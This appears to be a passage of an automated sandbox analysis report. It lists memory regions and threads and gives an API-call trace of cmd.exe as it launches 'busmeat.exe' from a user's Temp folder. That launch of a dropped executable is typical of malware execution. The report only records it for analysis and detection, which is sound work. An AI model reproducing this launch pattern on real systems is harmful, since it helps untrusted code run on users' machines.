	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 226
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 227
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 228
	        start_va = 0x2a10ab0000
	          end_va = 0x2a10ab6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10ab0000"
	        filename = ""

Region:
	              id = 229
	        start_va = 0x2a10ac0000
	          end_va = 0x2a10ac4fff
	     entry_point = 0x2a10ac0000
	     region_type = mapped_file
	            name = "user32.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui")

Region:
	              id = 230
	        start_va = 0x2a10d20000
	          end_va = 0x2a10d20fff
	     entry_point = 0x2a10d20000
	     region_type = mapped_file
	            name = "conhostv2.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui")

Region:
	              id = 231
	        start_va = 0x2a10d30000
	          end_va = 0x2a10d31fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a10d30000"
	        filename = ""

Region:
	              id = 232
	        start_va = 0x2a130b0000
	          end_va = 0x2a132a5fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a130b0000"
	        filename = ""

Region:
	              id = 233
	        start_va = 0x7ffbfb2d0000
	          end_va = 0x7ffbfb543fff
	     entry_point = 0x7ffbfb2d0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll")

Region:
	              id = 234
	        start_va = 0x2a10d40000
	          end_va = 0x2a10d40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a10d40000"
	        filename = ""

Region:
	              id = 235
	        start_va = 0x2a12590000
	          end_va = 0x2a12591fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a12590000"
	        filename = ""

Region:
	              id = 236
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")


Thread:
	id = 2
	os_tid = 0xda4


Thread:
	id = 3
	os_tid = 0xda8


Thread:
	id = 4
	os_tid = 0xdac


Thread:
	id = 5
	os_tid = 0xdb4


Process:
	id = "3"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x9783000"
	os_pid = "0xed0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xd98"
	cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 391
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 392
	        start_va = 0x9c23f60000
	          end_va = 0x9c23f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c23f60000"
	        filename = ""

Region:
	              id = 393
	        start_va = 0x9c23f80000
	          end_va = 0x9c23f93fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009c23f80000"
	        filename = ""

Region:
	              id = 394
	        start_va = 0x9c23fa0000
	          end_va = 0x9c2409ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c23fa0000"
	        filename = ""

Region:
	              id = 395
	        start_va = 0x9c240a0000
	          end_va = 0x9c240a3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009c240a0000"
	        filename = ""

Region:
	              id = 396
	        start_va = 0x9c240b0000
	          end_va = 0x9c240b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009c240b0000"
	        filename = ""

Region:
	              id = 397
	        start_va = 0x9c240c0000
	          end_va = 0x9c240c1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c240c0000"
	        filename = ""

Region:
	              id = 398
	        start_va = 0x7df5ffa60000
	          end_va = 0x7ff5ffa5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffa60000"
	        filename = ""

Region:
	              id = 399
	        start_va = 0x7ff648e30000
	          end_va = 0x7ff648e52fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff648e30000"
	        filename = ""

Region:
	              id = 400
	        start_va = 0x7ff648e5d000
	          end_va = 0x7ff648e5efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff648e5d000"
	        filename = ""

Region:
	              id = 401
	        start_va = 0x7ff648e5f000
	          end_va = 0x7ff648e5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff648e5f000"
	        filename = ""

Region:
	              id = 402
	        start_va = 0x7ff649c70000
	          end_va = 0x7ff649cc8fff
	     entry_point = 0x7ff649c70000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 403
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 404
	        start_va = 0x9c24280000
	          end_va = 0x9c2437ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c24280000"
	        filename = ""

Region:
	              id = 405
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 406
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 446
	        start_va = 0x9c23f60000
	          end_va = 0x9c23f6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000009c23f60000"
	        filename = ""

Region:
	              id = 447
	        start_va = 0x9c23f70000
	          end_va = 0x9c23f76fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c23f70000"
	        filename = ""

Region:
	              id = 448
	        start_va = 0x9c240d0000
	          end_va = 0x9c2418dfff
	     entry_point = 0x9c240d0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 449
	        start_va = 0x9c24380000
	          end_va = 0x9c2447ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c24380000"
	        filename = ""

Region:
	              id = 450
	        start_va = 0x9c24660000
	          end_va = 0x9c2466ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c24660000"
	        filename = ""

Region:
	              id = 451
	        start_va = 0x7ff648d30000
	          end_va = 0x7ff648e2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff648d30000"
	        filename = ""

Region:
	              id = 452
	        start_va = 0x7ff648e5b000
	          end_va = 0x7ff648e5cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff648e5b000"
	        filename = ""

Region:
	              id = 453
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 454
	        start_va = 0x9c24190000
	          end_va = 0x9c24196fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000009c24190000"
	        filename = ""

Region:
	              id = 455
	        start_va = 0x9c24670000
	          end_va = 0x9c249a6fff
	     entry_point = 0x9c24670000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 471
	        start_va = 0x7ffbff0d0000
	          end_va = 0x7ffbff147fff
	     entry_point = 0x7ffbff0d0000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")

Region:
	              id = 472
	        start_va = 0x7ff6489a0000
	          end_va = 0x7ff648d2ffff
	     entry_point = 0x7ff6489a0000
	     region_type = mapped_file
	            name = "sysmain.sdb"
	        filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")


Thread:
	id = 15
	os_tid = 0xed4

	[0061.635] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff649c70000
	[0061.635] __set_app_type (_Type=0x1) 
	[0061.635] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff649c844a0) returned 0x0
	[0061.635] __getmainargs (in: _Argc=0x7ff649c9f0e8, _Argv=0x7ff649c9f0f0, _Env=0x7ff649c9f0f8, _DoWildCard=0, _StartInfo=0x7ff649c9f104 | out: _Argc=0x7ff649c9f0e8, _Argv=0x7ff649c9f0f0, _Env=0x7ff649c9f0f8) returned 0
	[0061.635] GetCurrentThreadId () returned 0xed4
	[0061.635] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xed4) returned 0x6c
	[0061.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffc03dc0000
	[0061.636] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="SetThreadUILanguage") returned 0x7ffc03ddd550
	[0061.636] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0061.638] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0061.638] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x9c2409fc18 | out: phkResult=0x9c2409fc18*=0x0) returned 0x2
	[0061.638] VirtualQuery (in: lpAddress=0x9c2409fc04, lpBuffer=0x9c2409fb80, dwLength=0x30 | out: lpBuffer=0x9c2409fb80*(BaseAddress=0x9c2409f000, AllocationBase=0x9c23fa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffd001)) returned 0x30
	[0061.638] VirtualQuery (in: lpAddress=0x9c23fa0000, lpBuffer=0x9c2409fb80, dwLength=0x30 | out: lpBuffer=0x9c2409fb80*(BaseAddress=0x9c23fa0000, AllocationBase=0x9c23fa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0xffffd001)) returned 0x30
	[0061.638] VirtualQuery (in: lpAddress=0x9c23fa1000, lpBuffer=0x9c2409fb80, dwLength=0x30 | out: lpBuffer=0x9c2409fb80*(BaseAddress=0x9c23fa1000, AllocationBase=0x9c23fa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0xffffd001)) returned 0x30
	[0061.638] VirtualQuery (in: lpAddress=0x9c23fa4000, lpBuffer=0x9c2409fb80, dwLength=0x30 | out: lpBuffer=0x9c2409fb80*(BaseAddress=0x9c23fa4000, AllocationBase=0x9c23fa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffd001)) returned 0x30
	[0061.638] VirtualQuery (in: lpAddress=0x9c240a0000, lpBuffer=0x9c2409fb80, dwLength=0x30 | out: lpBuffer=0x9c2409fb80*(BaseAddress=0x9c240a0000, AllocationBase=0x9c240a0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0xffffd001)) returned 0x30
	[0061.639] GetConsoleOutputCP () returned 0x1b5
	[0061.642] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff649ca8640 | out: lpCPInfo=0x7ff649ca8640) returned 1
	[0061.642] SetConsoleCtrlHandler (HandlerRoutine=0x7ff649c915d0, Add=1) returned 1
	[0061.642] _get_osfhandle (_FileHandle=1) returned 0x24
	[0061.642] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x0) returned 1
	[0061.651] _get_osfhandle (_FileHandle=1) returned 0x24
	[0061.651] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff649ca85ec | out: lpMode=0x7ff649ca85ec) returned 1
	[0061.652] _get_osfhandle (_FileHandle=1) returned 0x24
	[0061.652] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x3) returned 1
	[0061.659] _get_osfhandle (_FileHandle=0) returned 0x20
	[0061.659] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff649ca85e8 | out: lpMode=0x7ff649ca85e8) returned 1
	[0061.660] _get_osfhandle (_FileHandle=0) returned 0x20
	[0061.660] SetConsoleMode (hConsoleHandle=0x20, dwMode=0x1e7) returned 1
	[0061.660] GetEnvironmentStringsW () returned 0x9c24285690*
	[0061.661] FreeEnvironmentStringsA (penv="A") returned 1
	[0061.661] GetEnvironmentStringsW () returned 0x9c24285690*
	[0061.661] FreeEnvironmentStringsA (penv="A") returned 1
	[0061.661] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9c2409eac8 | out: phkResult=0x9c2409eac8*=0x78) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x0, lpData=0x9c2409eae0*=0x1, lpcbData=0x9c2409eac4*=0x1000) returned 0x2
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x1, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x0, lpData=0x9c2409eae0*=0x1, lpcbData=0x9c2409eac4*=0x1000) returned 0x2
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x0, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x40, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x40, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x0, lpData=0x9c2409eae0*=0x40, lpcbData=0x9c2409eac4*=0x1000) returned 0x2
	[0061.661] RegCloseKey (hKey=0x78) returned 0x0
	[0061.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9c2409eac8 | out: phkResult=0x9c2409eac8*=0x78) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x0, lpData=0x9c2409eae0*=0x40, lpcbData=0x9c2409eac4*=0x1000) returned 0x2
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x1, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x0, lpData=0x9c2409eae0*=0x1, lpcbData=0x9c2409eac4*=0x1000) returned 0x2
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x0, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x9, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x4, lpData=0x9c2409eae0*=0x9, lpcbData=0x9c2409eac4*=0x4) returned 0x0
	[0061.661] RegQueryValueExW (in: hKey=0x78, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9c2409eac0, lpData=0x9c2409eae0, lpcbData=0x9c2409eac4*=0x1000 | out: lpType=0x9c2409eac0*=0x0, lpData=0x9c2409eae0*=0x9, lpcbData=0x9c2409eac4*=0x1000) returned 0x2
	[0061.661] RegCloseKey (hKey=0x78) returned 0x0
	[0061.661] time (in: timer=0x0 | out: timer=0x0) returned 0x5af026b2
	[0061.661] srand (_Seed=0x5af026b2) 
	[0061.661] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe"
	[0061.661] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe"
	[0061.661] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff649cb0920 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0061.662] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9c24287770, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0061.662] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff649ca8680, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87
	[0061.662] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff649ca8680, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0061.662] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff649ca8680, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0061.662] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0061.662] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0061.662] GetEnvironmentStringsW () returned 0x9c24288470*
	[0061.662] FreeEnvironmentStringsA (penv="A") returned 1
	[0061.662] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff649ca8680, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0061.662] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff649ca8680, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0061.662] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0061.662] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0061.662] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0061.662] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0061.662] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0061.662] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0061.662] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0061.662] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0061.662] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x9c2409f8d0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0061.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x9c2409f8d0, lpFilePart=0x9c2409f8b0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x9c2409f8b0*="system32") returned 0x13
	[0061.663] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0061.663] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x9c2409f5e0 | out: lpFindFileData=0x9c2409f5e0) returned 0x9c24280720
	[0061.663] FindClose (in: hFindFile=0x9c24280720 | out: hFindFile=0x9c24280720) returned 1
	[0061.663] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x9c2409f5e0 | out: lpFindFileData=0x9c2409f5e0) returned 0x9c24280720
	[0061.664] FindClose (in: hFindFile=0x9c24280720 | out: hFindFile=0x9c24280720) returned 1
	[0061.664] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0061.664] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0061.664] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0061.664] GetEnvironmentStringsW () returned 0x9c2428b040*
	[0061.664] FreeEnvironmentStringsA (penv="=") returned 1
	[0061.664] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff649cb0920 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0061.668] GetConsoleOutputCP () returned 0x1b5
	[0061.668] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff649ca8640 | out: lpCPInfo=0x7ff649ca8640) returned 1
	[0061.668] GetUserDefaultLCID () returned 0x409
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff649cac680, cchData=8 | out: lpLCData=":") returned 2
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x9c2409fa00, cchData=128 | out: lpLCData="0") returned 2
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x9c2409fa00, cchData=128 | out: lpLCData="0") returned 2
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x9c2409fa00, cchData=128 | out: lpLCData="1") returned 2
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff649cac690, cchData=8 | out: lpLCData="/") returned 2
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff649cac6e0, cchData=32 | out: lpLCData="Mon") returned 4
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff649cac720, cchData=32 | out: lpLCData="Tue") returned 4
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff649cac760, cchData=32 | out: lpLCData="Wed") returned 4
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff649cac7a0, cchData=32 | out: lpLCData="Thu") returned 4
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff649cac7e0, cchData=32 | out: lpLCData="Fri") returned 4
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff649cac820, cchData=32 | out: lpLCData="Sat") returned 4
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff649cac860, cchData=32 | out: lpLCData="Sun") returned 4
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff649cac6a0, cchData=8 | out: lpLCData=".") returned 2
	[0061.669] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff649cac6c0, cchData=8 | out: lpLCData=",") returned 2
	[0061.669] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0061.670] GetConsoleTitleW (in: lpConsoleTitle=0x9c242869d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0061.671] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffc03dc0000
	[0061.671] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="CopyFileExW") returned 0x7ffc03de25e0
	[0061.671] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="IsDebuggerPresent") returned 0x7ffc03de1f90
	[0061.671] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffc013b3a10
	[0061.673] _wcsicmp (_String1="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", _String2=")") returned 58
	[0061.673] _wcsicmp (_String1="FOR", _String2="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe") returned 3
	[0061.673] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe") returned 3
	[0061.673] _wcsicmp (_String1="IF", _String2="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe") returned 6
	[0061.673] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe") returned 6
